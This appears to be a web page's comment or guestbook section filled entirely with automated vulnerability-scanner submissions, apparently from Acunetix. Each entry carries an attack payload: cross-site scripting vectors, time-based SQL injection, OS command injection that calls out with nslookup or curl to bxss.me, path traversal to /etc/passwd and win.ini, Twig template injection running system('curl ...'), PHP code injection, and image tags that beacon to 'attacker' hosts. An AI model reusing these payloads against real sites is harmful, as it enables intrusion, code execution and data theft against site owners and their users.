• kycymavf

  1<ScRiPt >GI6F(9860)</ScRiPt>

• kycymavf

  1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9288></ScRiPt>

• kycymavf

  1<ScRiPt >GI6F(9396)</ScRiPt>

• kycymavf

  1<video><source onerror="javascript:GI6F(9617)">

• kycymavf

  1<isindex type=image src=1 onerror=GI6F(9271)>

• kycymavf

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9213'>

• kycymavf

  1<body onload=GI6F(9671)>

• kycymavf

  1<img src=//testasp.vulnweb.com/t/dot.gif onload=GI6F(9035)>

• kycymavf

  1<img src=xyz OnErRor=GI6F(9368)>

• kycymavf

  1<img/src=">" onerror=alert(9310)>

• kycymavf

  %31%3C%53%63%52%69%50%74%20%3E%47%49%36%46%289167%29%3C%2F%73%43%72%69%70%54%3E

• kycymavf

  1\u003CScRiPt\GI6F(9146)\u003C/sCripT\u003E

• kycymavf

  1&lt;ScRiPt&gt;GI6F(9003)&lt;/sCripT&gt;

• kycymavf

  1<input autofocus onfocus=GI6F(9803)>

• kycymavf

  <a HrEF=http://www.vulnweb.com></a>

• kycymavf

  <a HrEF=jaVaScRiPT:>

• kycymavf

  [url=http://www.vulnweb.com][/url]

• kycymavf

  1<img<!-- --> src=x onerror=alert(9480);//><!-- -->

• kycymavf

  1}body{acu:Expre/**/SSion(GI6F(9855))}

• kycymavf

  1<% contenteditable onresize=GI6F(9327)>

• kycymavf

  1_RVPej <ScRiPt >GI6F(9474)</ScRiPt>

• kycymavf

  1<WHUGGB>RPGLE[!+!]</WHUGGB>

• kycymavf

  1<ifRAme sRc=9075.com></IfRamE>

• kycymavf

  1<Fmu7Ut x=9344>

• kycymavf

  1<img sRc='http://attacker-9695/log.php?

• kycymavf'"()&%<acx><ScRiPt >GI6F(9177)</ScRiPt>

  1

• '"()&%<acx><ScRiPt >GI6F(9490)</ScRiPt>

  1

• kycymavf_9890

  1

• acu5042＜s1﹥s2ʺs3ʹuca5042

  1

• {{10000298*9999176}}

  1

• kycymavf<ScRiPt >GI6F(9716)</ScRiPt>

  1

• kycymavf<WDSLSX>DUINK[!+!]</WDSLSX>

  1

• kycymavf<script>GI6F(9791)</script>

  1

• kycymavf<ScRiPt >GI6F(9781)</ScRiPt>

  1

• kycymavf<ScRiPt >GI6F(9567)</ScRiPt>

  1

• kycymavf<body onload=GI6F(9045)>

  1

• kycymavf<img src=xyz OnErRor=GI6F(9437)>

  1

• kycymavf<img/src=">" onerror=alert(9360)>

  1

• kycymavf\u003CScRiPt\GI6F(9608)\u003C/sCripT\u003E

  1

• kycymavf&lt;ScRiPt&gt;GI6F(9700)&lt;/sCripT&gt;

  1

• kycymavf<input autofocus onfocus=GI6F(9687)>

  1

• <a HrEF=http://www.vulnweb.com></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• [url=http://www.vulnweb.com][/url]

  1

• kycymavf}body{acu:Expre/**/SSion(GI6F(9942))}

  1

• kycymavf<% contenteditable onresize=GI6F(9816)>

  1

• kycymavf_r5H4K <ScRiPt >GI6F(9948)</ScRiPt>

  1

• kycymavf<W4XIKE>TC7C7[!+!]</W4XIKE>

  1

• kycymavf<ifRAme sRc=9671.com></IfRamE>

  1

• kycymavf<RtSMhC x=9107>

  1

• kycymavf<img sRc='http://attacker-9936/log.php?

  1

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrL

  1vg6PrRVf

• dwUQQUrL

  1

• dwUQQUrL

  -1 OR 2+938-938-1=0+0+0+1 --

• dwUQQUrL

  -1 OR 2+831-831-1=0+0+0+1

• dwUQQUrL

  -1' OR 2+174-174-1=0+0+0+1 --

• dwUQQUrL

  -1' OR 2+505-505-1=0+0+0+1 or 'lgQ4rB6s'='

• dwUQQUrL

  -1" OR 2+535-535-1=0+0+0+1 --

• dwUQQUrL

  1*if(now()=sysdate(),sleep(15),0)

• dwUQQUrL

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• dwUQQUrL

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• dwUQQUrL

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• dwUQQUrL

  1-1; waitfor delay '0:0:15' --

• dwUQQUrL

  1-1); waitfor delay '0:0:15' --

• dwUQQUrL

  1-1 waitfor delay '0:0:15' --

• dwUQQUrL

  1FHeFqi8i'; waitfor delay '0:0:15' --

• dwUQQUrL

  1-1 OR 260=(SELECT 260 FROM PG_SLEEP(15))--

• dwUQQUrL

  1-1) OR 929=(SELECT 929 FROM PG_SLEEP(15))--

• dwUQQUrL

  1-1)) OR 289=(SELECT 289 FROM PG_SLEEP(15))--

• dwUQQUrL

  12YkbJMGS' OR 216=(SELECT 216 FROM PG_SLEEP(15))--

• dwUQQUrL

  1aAopdXD9') OR 533=(SELECT 533 FROM PG_SLEEP(15))--

• dwUQQUrL

  1K8jjwiiN')) OR 43=(SELECT 43 FROM PG_SLEEP(15))--

• dwUQQUrL

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• dwUQQUrL

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• dwUQQUrL

  1

• dwUQQUrL

  1'"

• dwUQQUrL

  @@DeSwt

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrLvUOTq3Av

  1

• dwUQQUrL

  1

• -1 OR 2+543-543-1=0+0+0+1 --

  1

• -1 OR 2+820-820-1=0+0+0+1

  1

• -1' OR 2+83-83-1=0+0+0+1 --

  1

• -1' OR 2+529-529-1=0+0+0+1 or 's6Yxdmej'='

  1

• -1" OR 2+53-53-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• dwUQQUrL-1 waitfor delay '0:0:15' --

  1

• dwUQQUrLLyKzlXGA'; waitfor delay '0:0:15' --

  1

• dwUQQUrL

  1

• dwUQQUrL'"

  1

• @@mFq2J

  1

• dwUQQUrL

  1

• kEMlzpAX

  1

• kEMlzpAX

  1

• kEMlzpAX

  1

• kEMlzpAX

  1pJeFEdwY

• kEMlzpAX

  1

• kEMlzpAX

  -1 OR 2+629-629-1=0+0+0+1 --

• kEMlzpAX

  -1 OR 2+116-116-1=0+0+0+1

• kEMlzpAX

  -1' OR 2+926-926-1=0+0+0+1 --

• kEMlzpAX

  -1' OR 2+930-930-1=0+0+0+1 or 'HyB0VbSY'='

• kEMlzpAX

  -1" OR 2+926-926-1=0+0+0+1 --

• kEMlzpAX

  1*if(now()=sysdate(),sleep(15),0)

• kEMlzpAX

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• kEMlzpAX

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• kEMlzpAX

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• kEMlzpAX

  1-1; waitfor delay '0:0:15' --

• kEMlzpAX

  1-1); waitfor delay '0:0:15' --

• kEMlzpAX

  1-1 waitfor delay '0:0:15' --

• kEMlzpAX

  1NRI3qdpj'; waitfor delay '0:0:15' --

• kEMlzpAX

  1-1 OR 534=(SELECT 534 FROM PG_SLEEP(15))--

• kEMlzpAX

  1-1) OR 372=(SELECT 372 FROM PG_SLEEP(15))--

• kEMlzpAX

  1-1)) OR 302=(SELECT 302 FROM PG_SLEEP(15))--

• kEMlzpAX

  1GTXCLWwW' OR 729=(SELECT 729 FROM PG_SLEEP(15))--

• kEMlzpAX

  1koJu7nMp') OR 731=(SELECT 731 FROM PG_SLEEP(15))--

• kEMlzpAX

  1TaPXFkf8')) OR 97=(SELECT 97 FROM PG_SLEEP(15))--

• kEMlzpAX

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• kEMlzpAX

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• kEMlzpAX

  1

• kEMlzpAX

  1'"

• kEMlzpAX

  @@D4wru

• kEMlzpAX

  1

• kEMlzpAX

  1

• kEMlzpAXRR8pH7aa

  1

• kEMlzpAX

  1

• -1 OR 2+970-970-1=0+0+0+1 --

  1

• -1 OR 2+453-453-1=0+0+0+1

  1

• -1' OR 2+360-360-1=0+0+0+1 --

  1

• -1' OR 2+687-687-1=0+0+0+1 or 'Q2dhUlqx'='

  1

• -1" OR 2+367-367-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• kEMlzpAX-1 waitfor delay '0:0:15' --

  1

• kEMlzpAXMQybT5Sn'; waitfor delay '0:0:15' --

  1

• kEMlzpAX

  1

• kEMlzpAX'"

  1

• @@Qjpic

  1

• kEMlzpAX

  1

• lxbfYeaa

  1

• lxbfYeaa

  1

• lxbfYeaa

  1

• lxbfYeaa

  1aYluYj6b

• lxbfYeaa

  1

• lxbfYeaa

  -1 OR 5*5=25 --

• lxbfYeaa

  -1 OR 5*5=25

• lxbfYeaa

  -1' OR 5*5=25 --

• lxbfYeaa

  -1" OR 5*5=25 --

• lxbfYeaa

  -1' OR 5*5=25 or '6yso35af'='

• lxbfYeaa

  -1" OR 5*5=25 or "38foS1gu"="

• lxbfYeaa

  1*if(now()=sysdate(),sleep(15),0)

• lxbfYeaa

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• lxbfYeaa

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• lxbfYeaa

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• lxbfYeaa

  1-1; waitfor delay '0:0:15' --

• lxbfYeaa

  1-1); waitfor delay '0:0:15' --

• lxbfYeaa

  1-1 waitfor delay '0:0:15' --

• lxbfYeaa

  1D5Of0fz2'; waitfor delay '0:0:15' --

• lxbfYeaa

  1-1 OR 61=(SELECT 61 FROM PG_SLEEP(15))--

• lxbfYeaa

  1-1) OR 496=(SELECT 496 FROM PG_SLEEP(15))--

• lxbfYeaa

  1-1)) OR 308=(SELECT 308 FROM PG_SLEEP(15))--

• lxbfYeaa

  17WpoNFKN' OR 384=(SELECT 384 FROM PG_SLEEP(15))--

• lxbfYeaa

  1OrxBIMmx') OR 400=(SELECT 400 FROM PG_SLEEP(15))--

• lxbfYeaa

  10qhr5muv')) OR 511=(SELECT 511 FROM PG_SLEEP(15))--

• lxbfYeaa

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• lxbfYeaa

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• lxbfYeaa

  1

• lxbfYeaa

  1'"

• lxbfYeaa

  @@2KQt3

• lxbfYeaa

  (select 198766*667891)

• lxbfYeaa

  (select 198766*667891 from DUAL)

• lxbfYeaa

  1

• lxbfYeaa

  1

• lxbfYeaaWInWHU0e

  1

• lxbfYeaa

  1

• -1 OR 5*5=25 --

  1

• -1 OR 5*5=25

  1

• -1' OR 5*5=25 --

  1

• -1" OR 5*5=25 --

  1

• -1' OR 5*5=25 or 'uEBxzBow'='

  1

• -1" OR 5*5=25 or "0lfWROEe"="

  1

• if(now()=sysdate(),sleep(15),0)

  1

• lxbfYeaa-1 waitfor delay '0:0:15' --

  1

• lxbfYeaaCYh6cAUS'; waitfor delay '0:0:15' --

  1

• lxbfYeaa

  1

• lxbfYeaa'"

  1

• @@rpHBC

  1

• (select 198766*667891)

  1

• (select 198766*667891 from DUAL)

  1

• lxbfYeaa

  1

• TYYHyRvY

  1

• TYYHyRvY

  1

• TYYHyRvY

  1GZC7X3VF0

• TYYHyRvY

  response.write(9815195*9090999)

• TYYHyRvY

  1

• 1TIHBQBKH0

  1

• TYYHyRvY

  '+response.write(9815195*9090999)+'

• TYYHyRvY

  1nCzkDt9q

• TYYHyRvY

  "+response.write(9815195*9090999)+"

• TYYHyRvY

  1

• response.write(9223940*9755031)

  1

• TYYHyRvY

  -1 OR 5*5=25 --

• '+response.write(9223940*9755031)+'

  1

• TYYHyRvY

  -1 OR 5*5=25

• "+response.write(9223940*9755031)+"

  1

• TYYHyRvY

  -1' OR 5*5=25 --

• TYYHyRvY

  echo ijvvhk$()\ uogrdo\nz^xyu||a #' &echo ijvvhk$()\ uogrdo\nz^xyu||a #|" &echo ijvvhk$()\ uogrdo\nz^xyu||a #

• TYYHyRvY

  -1" OR 5*5=25 --

• TYYHyRvY

  &echo zdqhdq$()\ xooxkm\nz^xyu||a #' &echo zdqhdq$()\ xooxkm\nz^xyu||a #|" &echo zdqhdq$()\ xooxkm\nz^xyu||a #

• TYYHyRvY

  -1' OR 5*5=25 or 'xn1KEkGj'='

• TYYHyRvY

  1&echo nwknhq$()\ sucpik\nz^xyu||a #' &echo nwknhq$()\ sucpik\nz^xyu||a #|" &echo nwknhq$()\ sucpik\nz^xyu||a #

• TYYHyRvY

  ../../../../../../../../../../../../../../etc/passwd

• TYYHyRvY

  -1" OR 5*5=25 or "PMgfPSEA"="

• TYYHyRvY

  |echo ihaulc$()\ kqwucp\nz^xyu||a #' |echo ihaulc$()\ kqwucp\nz^xyu||a #|" |echo ihaulc$()\ kqwucp\nz^xyu||a #

• TYYHyRvY

  ../../../../../../../../../../../../../../windows/win.ini

• TYYHyRvY

  1*if(now()=sysdate(),sleep(15),0)

• TYYHyRvY

  1|echo ntsgfx$()\ xgfclq\nz^xyu||a #' |echo ntsgfx$()\ xgfclq\nz^xyu||a #|" |echo ntsgfx$()\ xgfclq\nz^xyu||a #

• TYYHyRvY

  file:///etc/passwd

• TYYHyRvY

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• TYYHyRvY

  expr 9000657878 - 985456

• TYYHyRvY

  1

• TYYHyRvY

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• TYYHyRvY

  (nslookup -q=cname hitmwvnttznpbe2ee2.bxss.me||curl hitmwvnttznpbe2ee2.bxss.me))

• TYYHyRvY

  ../1

• TYYHyRvY

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• TYYHyRvY

  $(nslookup -q=cname hitkgfwohojsy9f18b.bxss.me||curl hitkgfwohojsy9f18b.bxss.me)

• TYYHyRvY

  1-1; waitfor delay '0:0:15' --

• TYYHyRvY

  &nslookup -q=cname hithsjtfkmcvm68e30.bxss.me&'\"`0&nslookup -q=cname hithsjtfkmcvm68e30.bxss.me&`'

• TYYHyRvY

  1-1); waitfor delay '0:0:15' --

• TYYHyRvY

  &(nslookup -q=cname hitofoqjcacao71ee2.bxss.me||curl hitofoqjcacao71ee2.bxss.me)&'\"`0&(nslookup -q=cname hitofoqjcacao71ee2.bxss.me||curl hitofoqjcacao71ee2.bxss.me)&`'

• file:///etc/passwd

  1

• TYYHyRvY

  1-1 waitfor delay '0:0:15' --

• TYYHyRvY

  |(nslookup -q=cname hitkuyapljwkv46992.bxss.me||curl hitkuyapljwkv46992.bxss.me)

• TYYHyRvY

  1

• TYYHyRvY

  1nVWCf3bQ'; waitfor delay '0:0:15' --

• TYYHyRvY

  `(nslookup -q=cname hitilxbeqvpvn9f7fd.bxss.me||curl hitilxbeqvpvn9f7fd.bxss.me)`

• ../TYYHyRvY

  1

• TYYHyRvY

  1-1 OR 713=(SELECT 713 FROM PG_SLEEP(15))--

• TYYHyRvY

  ;(nslookup -q=cname hitmyhbypxboc4b961.bxss.me||curl hitmyhbypxboc4b961.bxss.me)|(nslookup -q=cname hitmyhbypxboc4b961.bxss.me||curl hitmyhbypxboc4b961.bxss.me)&(nslookup -q=cname hitmyhbypxboc4b961.bxss.me||curl hitmyhbypxboc4b961.bxss.me)

• TYYHyRvY

  1-1) OR 793=(SELECT 793 FROM PG_SLEEP(15))--

• TYYHyRvY

  |(nslookup${IFS}-q${IFS}cname${IFS}hitzjnruxruvv6ecd3.bxss.me||curl${IFS}hitzjnruxruvv6ecd3.bxss.me)

• TYYHyRvY

  1-1)) OR 535=(SELECT 535 FROM PG_SLEEP(15))--

• TYYHyRvY

  &(nslookup${IFS}-q${IFS}cname${IFS}hituixppzdppm7e09d.bxss.me||curl${IFS}hituixppzdppm7e09d.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hituixppzdppm7e09d.bxss.me||curl${IFS}hituixppzdppm7e09d.bxss.me)&`'

• TYYHyRvY

  1H1UDKjB6' OR 139=(SELECT 139 FROM PG_SLEEP(15))--

• TYYHyRvY

  1X2T9Bfeo') OR 214=(SELECT 214 FROM PG_SLEEP(15))--

• Anonymous

  1

• TYYHyRvY

  12HdClpEg')) OR 734=(SELECT 734 FROM PG_SLEEP(15))--

• TYYHyRvY

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• TYYHyRvY

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• TYYHyRvY

  1

• expr 9000502588 - 938842

  1

• TYYHyRvY

  ${10000031+9999278}

• TYYHyRvY

  1'"

• ${9999896+10000108}

  1

• TYYHyRvY

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• TYYHyRvY

  @@BpjOS

• TYYHyRvY

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• TYYHyRvY

  (select 198766*667891)

• TYYHyRvY

  /etc/shells

• TYYHyRvY

  (select 198766*667891 from DUAL)

• TYYHyRvY

  ../../../../../../../../../../../../../../etc/shells

• TYYHyRvY

  1

• TYYHyRvY

  c:/windows/win.ini

• TYYHyRvY

  1

• TYYHyRvY

  bxss.me

• TYYHyRvY1ffVf0SV

  1

• TYYHyRvY

  Http://bxss.me/t/fit.txt

• TYYHyRvY

  1

• TYYHyRvY

  http://bxss.me/t/fit.txt?.jpg

• -1 OR 5*5=25 --

  1

• -1 OR 5*5=25

  1

• TYYHyRvY

  1

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• -1' OR 5*5=25 --

  1

• /etc/shells

  1

• -1" OR 5*5=25 --

  1

• TYYHyRvY

  '"()

• -1' OR 5*5=25 or 'jFn24n76'='

  1

• TYYHyRvY

  1'&&sleep(27*1000)*bectyk&&'

• c:/windows/win.ini

  1

• -1" OR 5*5=25 or "zgEjKNDE"="

  1

• TYYHyRvY

  1"&&sleep(27*1000)*aulqvs&&"

• bxss.me

  1

• if(now()=sysdate(),sleep(15),0)

  1

• TYYHyRvY

  1'||sleep(27*1000)*yggvhh||'

• Http://bxss.me/t/fit.txt

  1

• TYYHyRvY

  1"||sleep(27*1000)*rwhfdz||"

• http://bxss.me/t/fit.txt?.jpg

  1

• TYYHyRvY

  redirtest.acx

• TYYHyRvY

  1

• TYYHyRvY

  https://kickassapp.com/

• TYYHyRvY-1 waitfor delay '0:0:15' --

  1

• TYYHyRvY

  redirtest.acx?1

• TYYHyRvYADsvICSi'; waitfor delay '0:0:15' --

  1

• '"()

  1

• redirtest.acx

  1

• TYYHyRvY'&&sleep(27*1000)*txqixt&&'

  1

• https://kickassapp.com/

  1

• TYYHyRvY"&&sleep(27*1000)*hqtgqu&&"

  1

• redirtest.acx?TYYHyRvY

  1

• TYYHyRvY'||sleep(27*1000)*mqhjga||'

  1

• TYYHyRvY

  '.gethostbyname(lc('hitee'.'qtxfovacfd7ff.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(84).chr(121).chr(90).'

• TYYHyRvY"||sleep(27*1000)*wteycb||"

  1

• TYYHyRvY

  ".gethostbyname(lc("hitxe"."hahmxegwf6784.bxss.me."))."A".chr(67).chr(hex("58")).chr(97).chr(68).chr(118).chr(73)."

• TYYHyRvY

  1

• TYYHyRvY

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• TYYHyRvY

  gethostbyname(lc('hiteg'.'kkewjlna46e1f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(83).chr(111).chr(82)

• TYYHyRvY'"

  1

• TYYHyRvY

  ';print(md5(31337));$a='

• TYYHyRvY

  ";print(md5(31337));$a="

• @@Ejc0O

  1

• TYYHyRvY

  ${@print(md5(31337))}

• (select 198766*667891)

  1

• TYYHyRvY

  ${@print(md5(31337))}\

• TYYHyRvY

  HttP://bxss.me/t/xss.html?%00

• (select 198766*667891 from DUAL)

  1

• TYYHyRvY

  '.print(md5(31337)).'

• TYYHyRvY

  bxss.me/t/xss.html?%00

• TYYHyRvY

  "+"A".concat(70-3).concat(22*4).concat(120).concat(88).concat(99).concat(69)+(require"socket" Socket.gethostbyname("hitij"+"vdfilfvl9d8dd.bxss.me.")[3].to_s)+"

• HttP://bxss.me/t/xss.html?%00

  1

• TYYHyRvY

  '+'A'.concat(70-3).concat(22*4).concat(103).concat(81).concat(104).concat(83)+(require'socket' Socket.gethostbyname('hitpn'+'jvpdzctn1521f.bxss.me.')[3].to_s)+'

• ';print(md5(31337));$a='

  1

• bxss.me/t/xss.html?%00

  1

• TYYHyRvY

  'A'.concat(70-3).concat(22*4).concat(100).concat(71).concat(98).concat(68)+(require'socket' Socket.gethostbyname('hithv'+'igglijyb02443.bxss.me.')[3].to_s)

• ";print(md5(31337));$a="

  1

• TYYHyRvY

  comment

• ${@print(md5(31337))}

  1

• TYYHyRvY

  comment

• ${@print(md5(31337))}\

  1

• TYYHyRvY

  comment/.

• '.print(md5(31337)).'

  1

• comment

  1

• TYYHyRvY

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• TYYHyRvY

  '{"

• comment

  1

• TYYHyRvY

  <!--

• comment/.

  1

• '{"

  1

• <!--

  1

• TYYHyRvY

  1'"()&%<zzz><ScRiPt >F40z(9546)</ScRiPt>

• TYYHyRvY

  {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitqdwexkwkot26225.bxss.me")}}

• TYYHyRvY

  '"()&%<zzz><ScRiPt >F40z(9720)</ScRiPt>

• TYYHyRvY

  19584855

• TYYHyRvY

  bfg6080＜s1﹥s2ʺs3ʹhjl6080

• TYYHyRvY

  <%={{={@{#{${dfb}}%>

• TYYHyRvY

  <th:t="${dfb}#foreach

• TYYHyRvY

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• TYYHyRvY

  dfb{{98991*97996}}xca

• TYYHyRvY

  dfb[[${98991*97996}]]xca

• TYYHyRvY

  dfb__${98991*97996}__::.x

• TYYHyRvY

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• TYYHyRvY

  1<ScRiPt >F40z(9890)</ScRiPt>

• TYYHyRvY

  1<WLXDDY>T1OGT[!+!]</WLXDDY>

• TYYHyRvY

  1<script>F40z(9229)</script>

• TYYHyRvY

  1<script>F40z(9672)</script>

• TYYHyRvY

  1<script>F40z(9165)</script>9165

• TYYHyRvY'"()&%<zzz><ScRiPt >4J0X(9478)</ScRiPt>

  1

• TYYHyRvY

  1<script>F40z(9721)</script>9721

• TYYHyRvY

  1<ScR<ScRiPt>IpT>F40z(9696)</sCr<ScRiPt>IpT>

• '"()&%<zzz><ScRiPt >4J0X(9678)</ScRiPt>

  1

• TYYHyRvY

  1<ScRiPt >F40z(9037)</ScRiPt>

• TYYHyRvY9061433

  1

• TYYHyRvY

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9751></ScRiPt>

• bfg9668＜s1﹥s2ʺs3ʹhjl9668

  1

• TYYHyRvY

  1<ScRiPt >F40z(9451)</ScRiPt>

• <%={{={@{#{${dfb}}%>

  1

• TYYHyRvY

  1<isindex type=image src=1 onerror=F40z(9859)>

• <th:t="${dfb}#foreach

  1

• TYYHyRvY

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9518'>

• TYYHyRvY

  1

• TYYHyRvY

  1<body onload=F40z(9471)>

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• TYYHyRvY

  1<img src=//xss.bxss.me/t/dot.gif onload=F40z(9783)>

• TYYHyRvY

  1

• TYYHyRvY

  1<img src=xyz OnErRor=F40z(9482)>

• dfb{{98991*97996}}xca

  1

• TYYHyRvY

  1<img/src=">" onerror=alert(9894)>

• dfb[[${98991*97996}]]xca

  1

• TYYHyRvY

  1<img/src=">" onerror=alert(9298)>

• dfb__${98991*97996}__::.x

  1

• TYYHyRvY

  %31%3C%53%63%52%69%50%74%20%3E%46%34%30%7A%289893%29%3C%2F%73%43%72%69%70%54%3E

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• TYYHyRvY

  1\u003CScRiPt\F40z(9884)\u003C/sCripT\u003E

• TYYHyRvY<ScRiPt >4J0X(9393)</ScRiPt>

  1

• TYYHyRvY

  1&lt;ScRiPt&gt;F40z(9532)&lt;/sCripT&gt;

• TYYHyRvY<WTSIO1>4DTEQ[!+!]</WTSIO1>

  1

• TYYHyRvY<script>4J0X(9631)</script>

  1

• TYYHyRvY

  1<input autofocus onfocus=F40z(9170)>

• TYYHyRvY<script>4J0X(9013)</script>

  1

• TYYHyRvY

  <a HrEF=http://xss.bxss.me></a>

• TYYHyRvY<script>4J0X(9231)</script>9231

  1

• TYYHyRvY

  <a HrEF=jaVaScRiPT:>

• TYYHyRvY<script>4J0X(9295)</script>9295

  1

• TYYHyRvY

  1}body{zzz:Expre/**/SSion(F40z(9625))}

• TYYHyRvY

  1fDyfQ <ScRiPt >F40z(9637)</ScRiPt>

• TYYHyRvY<ScRiPt >4J0X(9683)</ScRiPt>

  1

• TYYHyRvY

  1<WDG5WT>A7MUM[!+!]</WDG5WT>

• TYYHyRvY<ScRiPt >4J0X(9493)</ScRiPt>

  1

• TYYHyRvY

  1<ifRAme sRc=9615.com></IfRamE>

• TYYHyRvY

  1<ajW5mBN x=9015>

• TYYHyRvY

  1<img sRc='http://attacker-9438/log.php?

• TYYHyRvY<body onload=4J0X(9481)>

  1

• TYYHyRvY

  1<a7IUoCJ<

• TYYHyRvY

  1<aOAEQC6<

• TYYHyRvY<img src=xyz OnErRor=4J0X(9864)>

  1

• TYYHyRvY<img/src=">" onerror=alert(9627)>

  1

• TYYHyRvY<img/src=">" onerror=alert(9006)>

  1

• TYYHyRvY\u003CScRiPt\4J0X(9315)\u003C/sCripT\u003E

  1

• TYYHyRvY&lt;ScRiPt&gt;4J0X(9542)&lt;/sCripT&gt;

  1

• TYYHyRvY<input autofocus onfocus=4J0X(9970)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• TYYHyRvY}body{zzz:Expre/**/SSion(4J0X(9829))}

  1

• TYYHyRvYLajaj <ScRiPt >4J0X(9657)</ScRiPt>

  1

• TYYHyRvY<WI5VSH>HYCWT[!+!]</WI5VSH>

  1

• TYYHyRvY<ifRAme sRc=9224.com></IfRamE>

  1

• TYYHyRvY<ayAr7PI x=9528>

  1

• TYYHyRvY<img sRc='http://attacker-9039/log.php?

  1

• TYYHyRvY<afnbIDT<

  1

• TYYHyRvY<atdy0TB<

  1

• TYYHyRvY'"()&%<zzz><ScRiPt >h4Oc(9398)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >h4Oc(9315)</ScRiPt>

  1

• TYYHyRvY9241152

  1

• bfg5664＜s1﹥s2ʺs3ʹhjl5664

  1

• <%={{={@{#{${dfb}}%>

  1

• <th:t="${dfb}#foreach

  1

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• dfb{{98991*97996}}xca

  1

• dfb[[${98991*97996}]]xca

  1

• dfb__${98991*97996}__::.x

  1

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• TYYHyRvY

  1'"()&%<zzz><ScRiPt >aZ8r(9306)</ScRiPt>

• TYYHyRvY<ScRiPt >h4Oc(9848)</ScRiPt>

  1

• TYYHyRvY

  {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitutpuoaborh8e552.bxss.me")}}

• TYYHyRvY<WJEQBH>0QNXZ[!+!]</WJEQBH>

  1

• TYYHyRvY

  '"()&%<zzz><ScRiPt >aZ8r(9094)</ScRiPt>

• TYYHyRvY<script>h4Oc(9150)</script>

  1

• TYYHyRvY

  19776673

• TYYHyRvY<script>h4Oc(9961)</script>

  1

• TYYHyRvY

  bfg2892＜s1﹥s2ʺs3ʹhjl2892

• TYYHyRvY<script>h4Oc(9814)</script>9814

  1

• TYYHyRvY<script>h4Oc(9055)</script>9055

  1

• TYYHyRvY

  <%={{={@{#{${dfb}}%>

• TYYHyRvY

  <th:t="${dfb}#foreach

• TYYHyRvY<ScRiPt >h4Oc(9764)</ScRiPt>

  1

• TYYHyRvY

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• TYYHyRvY

  dfb{{98991*97996}}xca

• TYYHyRvY<ScRiPt >h4Oc(9431)</ScRiPt>

  1

• TYYHyRvY

  dfb[[${98991*97996}]]xca

• TYYHyRvY

  dfb__${98991*97996}__::.x

• TYYHyRvY

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• TYYHyRvY<body onload=h4Oc(9372)>

  1

• TYYHyRvY

  1<ScRiPt >aZ8r(9695)</ScRiPt>

• TYYHyRvY<img src=xyz OnErRor=h4Oc(9822)>

  1

• TYYHyRvY

  1<WPHLYS>59CAW[!+!]</WPHLYS>

